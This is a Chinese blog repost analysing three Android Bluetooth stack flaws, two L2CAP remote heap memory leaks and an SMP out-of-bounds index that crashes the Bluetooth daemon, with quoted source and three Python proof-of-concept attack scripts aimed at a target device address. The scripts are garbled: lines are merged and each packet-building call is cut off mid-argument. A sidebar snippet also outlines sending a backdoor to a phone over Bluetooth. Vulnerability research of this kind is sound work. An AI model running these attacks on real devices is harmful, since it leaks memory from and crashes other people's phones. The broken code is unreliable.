android cmd命令左键_快速理解Android中的三个蓝牙漏洞

最新推荐文章于 2021-07-15 00:15:04 发布
最新推荐文章于 2021-07-15 00:15:04 发布
阅读量225 收藏 1
点赞数
文章标签： android cmd命令左键
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_32487647/article/details/112136556
版权
da7ab33254e5128784cf5e32d298b20e.png

两个内存泄漏和一个数组索引越界

漏洞简介

  • Issue 74882215: Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure(蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄漏)
  • Issue 74889513: Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure(蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄漏)
  • Issue 74917004: Bluetooth SMP smp_sm_event() OOB Array Indexing(蓝牙SMP smp_sm_event()OOB数组索引)

漏洞1：Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure

(蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄漏)

简要

通过将巧尽心思构造的L2CAP数据包发送到目标设备，蓝牙范围内的远程攻击者可以利用Android蓝牙堆栈中的漏洞来泄露属于com.android.bluetooth守护程序堆的2个字节(一个uint16_t数据)。

前置介绍

L2CAP

L2CAP(Logical Link Control and Adaptation Protocol)，即逻辑链路控制和适配协议

774cddd76a1a96b978b7cb391f7c9580.png

【蓝牙架构中如图所示】

L2CAP是蓝牙协议栈中的一个协议。

功能包括 为更高层的协议传输数据、在单个链路上复用多个应用程序。

L2CAP是基于信道的，并且控制命令在预定义的L2CAP_SIGNALLING_CID(0x01)信道上发送。

漏洞详情

漏洞在于使用 STREAM_TO_UINT16从而不检查攻击者控制的数据包中是否剩余了足够的数据。如果第二次使用 STREAM_TO_UINT16时，数据包中没有剩余字节，那么将越界读取 rcid

结果：泄漏数据包后相邻的两个字节(rcid)

L2CAP传入的数据由l2c_rcv_acl_data()函数[ platform / system / bt / stack / l2cap / l2c_main.cc ]处理。

如果传入的L2CAP数据包指定L2CAP_SIGNALLING_CID作为其目标通道，则l2c_rcv_acl_data()调用process_l2cap_cmd()函数来处理L2CAP控制命令。

以上过程如下所示：

aa9d5a4aebf74df44388ed66af00cc22.png

L2CAP_CMD_CONN_REQ控制命令在process_L2CAP_CMD()函数中是这样处理的：

case L2CAP_CMD_CONN_REQ:  STREAM_TO_UINT16(con_info.psm, p);  STREAM_TO_UINT16(rcid, p);  p_rcb = l2cu_find_rcb_by_psm(con_info.psm);  if (p_rcb == NULL) {    L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",                        con_info.psm);    l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);    break;  } else {  [...]

代码使用了两次STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ]， 从L2CAP数据包(上面的变量p，就是数据包中的数据)中一共读取2个uint16_t值(读入后分别放入了con_info.psm和rcid中)。

#define STREAM_TO_UINT16(u16, p)                                    {                                                                   (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));     (p) += 2;                                                       }

漏洞在于使用STREAM_TO_UINT16宏而不检查攻击者控制的数据包中是否剩余了足够的数据。如果第二次使用STREAM_TO_UINT16时，数据包中没有剩余字节，那么将越界读取rcid(也可能越界读取con_info.psm，只是后面不会泄露出来)，更确切地说，从堆上与数据包相邻的任何数据。之后，如果l2cu_find_rcb_by_psm()返回NULL，并且因此到达了if分支，则调用l2cu_reject_connection() [ stack / l2cap / l2c_utils.cc ]将向远程对等方发送rcid，从而有效地从堆中泄漏了2个字节：

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,                            uint8_t rem_id, uint16_t result) {  [...]  UINT16_TO_STREAM(p, 0); /* Local CID of 0   */  UINT16_TO_STREAM(p, remote_cid);  UINT16_TO_STREAM(p, result);  UINT16_TO_STREAM(p, 0); /* Status of 0      */  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);}

请注意，攻击者可以通过在特制的L2CAP数据包中提供未注册的协议/服务多路复用器(PSM)ID字段来完全影响l2cu_find_rcb_by_psm()，以致于始终返回NULL(从而始终到达if分支)。

另外，请注意，这种使用STREAM_TO_UINT16宏而不检查攻击者控制的数据包中是否剩余足够数据的不安全代码模式似乎已在process_l2cap_cmd()函数的各处使用。

总结来说，过程如下图所示：

e1f2d8204d2912a3a29da3ba126db5ce.png

从堆栈上通过函数STREAM_TO_UINT16分别读取两字节到con_info.psm和rcid，con_info.psm再通过函数l2cu_find_rcd_by_psm函数得到p_rcb，对p_rcb进行判断，如果p_rcb == NULL(可以通过提供未注册的协议/服务多路复用器ID字段来实现)，会读取rcid等信息。

如果，数据包中的数据在数据1..就已经结束，程序还是会将堆栈上将相邻两个字节的数据(也就是数据2..)读入到rcid，最后发送给远程对等方。那么，最后整个攻击结果就是这里的内存泄漏了两个字节。

Proof-of-Concept(概念验证)

以下Python代码触发了该漏洞，并打印了从目标蓝牙设备的com.android.bluetooth守护程序堆泄漏的16位值。

此Python代码使用Blueborne框架中的l2cap_infra包。

用法：$ sudo python l2cap01.py 。

例如：$ sudo python l2cap01.py hci0 00：11：22：33：44：55。

import osimport sysfrom l2cap_infra import *L2CAP_SIGNALLING_CID = 0x01L2CAP_CMD_CONN_REQ = 0x02def main(src_hci, dst_bdaddr):    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)    # This will leak 2 bytes from the heap 这将从堆中泄漏2个字节    print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..." #发送L2CAP连接中的L2CAP命令连接请求    cmd_code = L2CAP_CMD_CONN_REQ    cmd_id = 0x41               # not important    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {    non_existent_psm = 0x3333   # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 协议/服务多路复用器id不存在，因此l2cu_find_rcb_by_psm()返回NULL，并调用l2cu_reject_connection()    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():    #这里我们将L2CAP_signaling_CID用作CID，因此l2c_rcv_acl_data()调用进程_L2CAP_cmd()：    # 170    /* Send the data through the channel state machine 通过通道状态机发送数据*/    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('")    else:        if os.getuid():            print "Error: This script must be run as root."        else:            main(*sys.argv[1:])

漏洞2：Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure

蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

简要

通过将特制的L2CAP数据包发送到目标设备，蓝牙范围内的远程攻击者可以使用Android 蓝牙堆栈中的漏洞来泄露属于com.android.bluetooth守护程序堆的4个字节。

漏洞详情

漏洞在于，两次使用了STREAM_TO_UINT16 宏，而没有检查攻击者控制的数据包中是否至少还有4个字节。如果数据包中没有剩余字节，则越界读取 lcid 和 rcid。

结果：泄漏数据包后相邻的四个字节

L2CAP_CMD_DISC_REQ控制命令在process_L2CAP_CMD()函数中是这样处理的：

case L2CAP_CMD_DISC_REQ:  STREAM_TO_UINT16(lcid, p);  STREAM_TO_UINT16(rcid, p);  p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);  if (p_ccb != NULL) {    if (p_ccb->remote_cid == rcid) {      p_ccb->remote_id = id;      l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);    }  } else    l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

上面的代码两次使用STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ] ，从L2CAP数据包中一共读取2个uint16_t值(lcid和rcid)：

漏洞在于，两次使用了STREAM_TO_UINT16宏，而没有检查攻击者控制的数据包中是否至少还有4个字节。如果数据包中没有剩余字节，则越界读取lcid和rcid，更准确地说，从堆上与数据包数据相邻的任何数据读取。之后，如果l2cu_find_ccb_by_cid()返回NULL并因此到达else分支，则调用l2cu_send_peer_disc_rsp() [ platform / system / bt / stack / l2cap / l2c_utils.cc ]向远程对等方发送lcid和rcid，有效地从堆中泄漏了4个字节：

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,                             uint16_t local_cid, uint16_t remote_cid) {[...]  UINT16_TO_STREAM(p, local_cid);  UINT16_TO_STREAM(p, remote_cid);  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);}

请注意，攻击者可能会完全影响l2cu_find_ccb_by_cid()来返回NULL(并因此到达else分支)，因为除非在目标蓝牙设备和攻击者的蓝牙设备之间使用虚假lcid设置了活动的信道控制块(CCB)，否则该函数将始终返回NULL。

图示如下：

f67bbe5f41112663e3d981d37c252a3d.png

从堆栈上通过函数STREAM_TO_UINT16分别读取两字节到lcid和rcid，con_info.psm再通过函数l2cu_find_ccd_by_cid函数得到p_ccb，对p_ccb进行判断，如果p_ccb == NULL(通过在目标蓝牙之间使用的虚拟lcid不设置活动的信道控制块来实现)，然后就会向远程对等方发送lcid和rcid等信息。

如果，数据包中的数据在数据1..之前就已经结束，程序还是会将堆栈上将相邻四个字节的数据(也就是数据2..)分别读入到lcid和rcid，最后发送给远程对等方。那么，最后整个攻击结果就是这里的内存泄漏了四个字节。

Proof-of-Concept(概念验证)

以下Python代码触发了该漏洞，并打印了从目标蓝牙设备的com.android.bluetooth守护程序堆泄漏的两个16位值。

此Python代码使用Blueborne框架中的l2cap_infra包。

用法： $ sudo python l2cap02.py 。

例如：$ sudo python l2cap02.py hci0 00：11：22：33：44：55。

import osimport sysfrom l2cap_infra import *L2CAP_SIGNALLING_CID = 0x01L2CAP_CMD_DISC_REQ = 0x06def main(src_hci, dst_bdaddr):    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)    # This will leak 4 bytes from the heap 这将从堆中泄漏4个字节    print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."    cmd_code = L2CAP_CMD_DISC_REQ    cmd_id = 0x41               # not important    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():    #这里我们将L2CAP_signaling_CID用作CID，因此l2c_rcv_acl_data()调用进程_L2CAP_cmd()：    # 170    /* Send the data through the channel state machine */    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('")    else:        if os.getuid():            print "Error: This script must be run as root."        else:            main(*sys.argv[1:])

漏洞3：Bluetooth SMP smp_sm_event() OOB Array Indexing

Bluetooth SMP smp_sm_event() OOB阵列索引

简要

蓝牙范围内的远程攻击者可以使用Android 蓝牙堆栈中的漏洞，通过以意外传输方式将包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包发送到目标设备，从而使com.android.bluetooth守护程序访问其边界之外的数组。

前置介绍

安全管理协议SMP

SMP(The Security Manager Protocol )

连接建立之后，双方通过某些方式协商共同的密钥，然后将后续要传输的数据用这个密钥通过加密算法进行加密，然后发送。接收方，接收到这些数据后，必须使用正确的密钥来解密，才能得到正确的数据了。接着，建立密钥，即完成双方密钥协商，就密钥一事达成共同一致的过程。

过程如图所示：

a2bd975825af2debba5c825fe36d5bcc.png

为运行在低功耗蓝牙协议栈上的应用程序提供诸如身份验证，设备授权和数据隐私等服务的权限。

漏洞详情

数组索引只接受0x0和0x1，而作为索引的变量还能设置为0xff，导致后续引用可能导致分段错误

SMP协议通过预定义的L2CAP_SMP_CID(0x06)通道，位于L2CAP之上。

传入的SMP数据包由smp_data_received()函数[ platform / system / bt / stack / smp / smp_l2c.cc ]处理。如果 通过包含SMP_OPCODE_PAIRING_REQ(0x01)命令的L2CAP_SMP_CID固定通道 接收到输入SMP数据包，则将到达以下代码：

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,                              BT_HDR* p_buf) {  [...]  /* reject the pairing request if there is an on-going SMP pairing */  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {    if ((p_cb->state == SMP_STATE_IDLE) &&        (p_cb->br_state == SMP_BR_STATE_IDLE) &&        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {      p_cb->role = L2CA_GetBleConnRole(bd_addr);  [...]

如上面的代码所示，最后一行中p_cb-> role设置为L2CA_GetBleConnRole(bd_addr)返回的值。p_cb-> role应该保存以下值之一[ platform / system / bt / stack / include / hcidefs.h ]，也就是 p_cb->role的值可以是0x00、0x01、0xff

/* HCI role defenitions */#define HCI_ROLE_MASTER 0x00#define HCI_ROLE_SLAVE 0x01#define HCI_ROLE_UNKNOWN 0xff

如果我们查看L2CA_GetBleConnRole()函数的代码[ platform / system / bt / stack / l2cap / l2c_ble.cc ]，我们可以看到它调用了l2cu_find_lcb_by_bd_addr()为了查找活跃的链接控制块(an active Link Control Block)(LCB)结构匹配远程BDADDR并且使用低能耗传输(BT_TRANSPORT_LE)；如果找不到它，则返回HCI_ROLE_UNKNOWN(0xff)。当我们通过BR/EDR(基本速率/增强数据速率，也称为“经典”蓝牙)传输发送包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包时，这种情况会发生，因为它只适用于低能量(LE)传输：

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {  uint8_t role = HCI_ROLE_UNKNOWN;  tL2C_LCB* p_lcb;  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);  if (p_lcb != NULL) role = p_lcb->link_role;  return role;}

因此，回到smp_data_received()函数，将p_cb-> role设置为HCI_ROLE_UNKNOWN(0xff)之后，它调用smp_sm_event() [ platform / system / bt / stack / smp / smp_main.cc ]，我们到达以下代码：

953  void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event,      tSMP_INT_DATA* p_data) {                        ...957    tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];                        ...970    /* look up the state table for the current state */971    /* lookup entry /w event & curr_state */972    /* If entry is ignore, return.973     * Otherwise, get state table (according to curr_state or          all_state) */974    if ((event <= SMP_MAX_EVT) &&975        ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {

在957行，代码使用p_cb-> role作为索引从smp_entry_table静态数组中读取，而无需检查p_cb-> role是否具有两个有效值之一(HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01))。这就是漏洞所在：smp_entry_table静态数组仅包含2个元素，而p_cb-> role的值为0xFF，是在通过BR / EDR传输接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包之后，而不是通过预期的低能耗传输：

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,                                                 smp_slave_entry_map};

因此，由于执行entry_table = smp_entry_table [0xff]时的OOB索引，entry_table局部变量将包含一些垃圾值(无论是否在bluetooth.default.so二进制数据的smp_entry_table全局变量之后)。因此，稍后，在第975行，当取消引用entry_table [event- 1] [curr_state]时，很可能会导致分段错误(受特定版本的bluetooth.default.so二进制文件的影响，smp_entry_table全局变量位于该二进制文件中))，这将使com.android.bluetooth守护程序停止工作。

总结来说，过程如下图所示：

423ff94dc9beefd75441564d99360c76.png

文中提及的函数调用关系：

dafaf07b87e26be2c285cc4191741383.png

【箭头指向表示调用该函数】

理论上讲，如果能够找到了一个版本的bluetooth.default.so，取消引用entry_table [event-1] [curr_state]，那么程序就不会崩溃，可以进一步解决此错误。

Proof-of-Concept(概念验证)

以下Python代码触发了该漏洞，并且很有可能使目标设备上的com.android.bluetooth守护程序崩溃。

此Python代码使用Blueborne框架中的l2cap_infra包。

用法： $ sudo python smp01.py 。

例如：$ sudo python smp01.py hci0 00：11：22：33：44：55。

import osimport sysfrom l2cap_infra import *L2CAP_SMP_CID = 0x06# This matches the CID used in l2cap_infra to establish a successful connection.OUR_LOCAL_SCID = 0x40SMP_OPCODE_PAIRING_REQ = 0x01def main(src_hci, dst_bdaddr):    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)    print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."    cmd_code = SMP_OPCODE_PAIRING_REQ    the_id = 0x41       # not important    cmd_len = 0x08    flags = 0x4142      # not important    # here we use L2CAP_SMP_CID as cid    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('")    else:        if os.getuid():            print "Error: This script must be run as root."        else:            main(*sys.argv[1:])

结论

漏洞2和漏洞1思想本质上是一致的。

  • 相同点：都因为STREAM_TO_UINT16宏没有对读入数据进行检验，是否到达数据包中还有足够的数据，导致越界读取，最后泄漏内存数据。
  • 不同点：在绕过前面判断后 到达的泄漏函数，漏洞1只向远程对等方法送了第二个从数据包那块读入的uint16_t数据；而漏洞2则向远程对等放发送了两个从数据包那块读入的uint16_t的数据，所以漏洞1可以泄漏2两个字节，漏洞2可以泄漏4个字节

前两个漏洞会影响处理L2CAP协议的代码，并且它们允许远程攻击者(在蓝牙范围内)泄露属于com.android.bluetooth进程的内存内容。这些内存泄露漏洞可能对漏洞利用链的早期阶段的攻击者有所帮助，甚至可以用来检索敏感数据。

第三个漏洞是SMP协议实现中的越界数组索引错误，尽管最有可能使com.android.bluetooth进程崩溃，但仍有可能利用它在易受攻击的Android设备上远程执行代码。有趣的是，与两个L2CAP问题不同，此SMP错误并不是解析格式错误的数据包的结果。实际上，可以通过发送格式正确的SMP数据包(包含SMP_OPCODE_PAIRING_REQ)来触发它，但是要是通过BR / EDR(“经典”蓝牙)传输而不是预期的BLE(低能耗)传输来触发。

总的来说，虽然是两类漏洞，但是问题起因都在于代码上的检验不够完整导致的，使得程序执行到了非预期的情况。

参考：https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html

本文由言承原创发布
转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/215179

林进之
关注
蓝牙攻击-基础篇
abg49988的博客
11-20 5565
kali蓝牙攻击步骤： 目标手机开启了蓝牙，通过bluegranger连接手机，向目标手机发送后门程序，配合msf渗透手机 1.加载并扫描发现其他蓝牙设备： 　　　　hciconfig 　　　　hciconfig hci0 up 　　　　hcitool scan 　　　　fang -r 范围 -s　　使用fang工具扫描隐藏的蓝牙设备（可以设置扫描范围） 　　　　f...
android cmd 代码,Android下的CMD命令之关机重启及重启recovery
weixin_31358991的博客
05-26 1598
Android刚兴起的时候，着实让一些小众软件火了一把，切水果，Tom猫，吹裙子就是其中的代表，当然还有实用性很强的关机重启软件，我们去百度上搜索一下。截图：一.了解CMD 命令我们在cmd下进行的操作什么的，这里就不一一细说了我们只要知道下面这几条命令就可以了重启：su -c reboot关机：reboot -p有了这个思路，我们就可以去实现了activity_main.xmlxmlns:too...
android蓝牙通信_Android蓝牙子系统“BlueFrag”漏洞分析（CVE20200022）
weixin_39762478的博客
11-27 604
更多安全资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn)一、漏洞背景2020年2月，Android安全公告中披露并修复了一个严重漏洞，漏洞编号为CVE-2020-0022，又称BlueFrag，可影响Android蓝牙子系统。该漏洞是一个远程代码执行漏洞，出现在Bluedroid蓝牙协议栈的HCI层，当无线模块处于活动状态时，攻击...
android 9 蓝牙源码_CVE-2017-13258 Android 蓝牙BNEP漏洞分析
weixin_29217235的博客
12-29 290
本文为看雪论坛优秀文章看雪论坛作者ID：ID蝴蝶1、概述三月份的Android安全公告中披露了多个蓝牙方面的系统层漏洞，漏洞多出现在BNEP中，涉及的源码版本为5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1，覆盖范围较广。本文以CVE-2017-13258漏洞为例进行分析，该漏洞类型为内存信息泄露，危害等级为High。2、协议简介>>&gt...
Android Bluetooth架构
kv110的专栏
06-01 1923
Android Bluetooth架构 Android系统蓝牙的整体架构 Applications：Android蓝牙应用程序，就是使用蓝牙的API的程序； Framework：提供给应用使用的API，我们平时使用的BluetoothAdapter，BluetoothDevice，BluetoothSocket等； Bluetooth Service：即Bluetooth APP(Bluetooth.apk)这个应该也是属于java framework范畴，不过由于它比较特殊，所以独立出来，提供所有的上层
android cmd命令行工具
03-13
一款在android手机/平板上运行的cmd工具，可选气泡或者经典风格。
android车载蓝牙开发,车载蓝牙开发二
weixin_42137022的博客
05-31 3130
本篇主要实现蓝牙电话，蓝牙音乐，同步通讯录通话记录。蓝牙的查找，连接可以看上一篇。一：蓝牙电话蓝牙电话主要用到BluetoothHeadsetClient这个类，目录地址为frameworks\base\core\java\android\bluetooth\BluetoothHeadsetClient.java。里面定义了很多广播意图，最有用的是这个action/*** Intent sent ...
android中如何实现蓝牙后台运行,Android实现的简单蓝牙程序示例
weixin_36081891的博客
05-26 1844
本文实例讲述了Android实现的简单蓝牙程序。分享给大家供大家参考，具体如下：我将在这篇文章中介绍了的Android蓝牙程序。这个程序就是将实现把手机变做电脑PPT播放的遥控器：用音量加和音量减键来控制PPT页面的切换。遥控器服务器端首先，我们需要编写一个遥控器的服务器端(支持蓝牙的电脑)来接收手机端发出的信号。为了实现这个服务器端，我用到了一个叫做Bluecove(专门用来为蓝牙服务的！)的J...
NativeActivity的胶水层android_native_app_glue详解和使用
scott.cgi
02-06 8705
使用NativeActivity可以完全不使用java代码，全部使用native code来开发android程序。NativeActivity 为我们定制了native代码的各种接口回调，在ndk的samples里面，提供了一个例子如何使用NativeActivity。我们会发现，demo中使用了一个胶水层“android_native_app_glue.h”封装了native层面的ANativ
Android Bluetooth初始化代码解析
11-06
Android Bluetooth初始化代码解析,包含android驱动层、框架层，应用层代码简单分析。
js string转uint8array
q314235965的专栏
07-15 6201
手写转换： function toUint8Arr(str) { const buffer = []; for (let i of str) { const _code = i.charCodeAt(0); if (_code < 0x80) { buffer.push(_code); } else if (_cod
传统蓝牙L2CAP的连接流程（以被连接为例）
朝气蓬勃
08-14 4694
一. 声明 本专栏文章我们会以连载的方式持续更新，本专栏计划更新内容如下： 第一篇:蓝牙综合介绍 ，主要介绍蓝牙的一些概念，产生背景，发展轨迹，市面蓝牙介绍，以及蓝牙开发板介绍。 第二篇:Transport层介绍,主要介绍蓝牙协议栈跟蓝牙芯片之前的硬件传输协议,比如基于UART的H4,H5,BCSP，基于USB的H2等 第三篇:传统蓝牙controller介绍，主要介绍传统蓝牙芯片的介绍，包括射频层（RF），基带层（baseband），链路管理层（LMP）等 第四篇:传统蓝牙host介绍，主要
蓝牙核心技术概述（四）：蓝牙协议规范（HCI、L2CAP、SDP、RFOCMM）
热门推荐
CLK
07-30 10万+
关键词：蓝牙核心技术协议  HCI  L2CAP SDP RFCOMM作者：xubin341719(欢迎转载，请注明作者，请尊重版权，谢谢！)欢迎指正错误，共同学习、共同进步！！下载链接：Bluetooth PROFILE SPECIFICATIONS （基本涵盖所有蓝牙协议）、buletooth core 2.1-4.0 SPECIFICATION（三蓝牙版本的核心协议v2.1\v3.0\v4.
EM算法实验内容及图片分类任务
Vickyiiiiii的博客
12-08 1766
EM算法实验内容 一、基本原理 简介 EM算法又称期望最大化算法，是一种迭代算法，是在概率模型中寻找参数极大似然估计的算法，其中概率模型依赖于无法观测的隐含变量。它主要用于从含有隐含变量的数据中计算极大似然估计。是解决存在隐含变量优化问题的有效方法。 简单推导 1. JENSEN不等式 设fff是定义域为实数的函数，如果对于所有的实数xxx，f”(x)≥0f”(x)≥0f”(x)≥0，那么fff是...
android蓝牙开机自动回连,android Bluetooth开机启动流程分析
weixin_42526415的博客
05-25 1638
用到的代码文件frameworks/base/services/core/java/com/android/server/BluetoothManagerService.javacom/android/server/SystemServiceManager.javacom/android/server/BluetoothService.javacom/android/server/SystemSe...
bluedroid acl 发送和接受
zjjdyb的专栏
12-22 2942
ACL 链路在 Bluetooth 中非常重要，一些重要的应用如 A2DP， 基于 RFCOMM 的应用，BNEP等都要建立 ACL 链路，发送/接收ACL 包。Mike 跟大家一起来分析 ACL 包发送/接收流程，以及涉及到的重要 command/event。 ACL包发送 下面的图(点击大图)是各种应用层使用 L2CAP 的 API：L2CA_DataWrite 发送数据流的过程，此A
bluedroid 代码框架
wjjmindray的博客
01-08 1107
bluedroid项目代码的框架： Bta： 1. ag(audio gateway)：蓝牙音频网关的实现 2. Ar(audio/video registration):音频/视频注册模块的实现 3. Av(advanced audio/video):更先进的音频/视频实现 4. Dm(device manager):bta设备管理实现 5. Fs(file system):包含bt
bluedroid源码分析之ACL包发送和接收（二）
Stackvoid小菜
11-14 2218
更多内容请参照我的个人站点： http://stackvoid.com/ 上一节讲了数据流入口，本文分析L2CAP的处理函数。 L2CAP层的处理 我们的音乐数据，通过 L2CAP 入口函数 l2c_data_write 的层层“考验”，已经顺利进入到 L2CAP 里了，下面我们来看看 L2CAP 层具体是怎么处理数据的。 首先我们进入了 L2CAP 层的状态机。
掌握Android模拟器CMD实用命令：ADB服务管理与程序安装
本文档主要介绍了在Android开发中非常实用的CMD命令，特别是针对Android模拟器管理和APK应用操作。以下是详细的内容概述： 1. **ADB服务的控制**: - **启动和关闭ADB服务**: 在Android开发过程中，ADB (Android ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值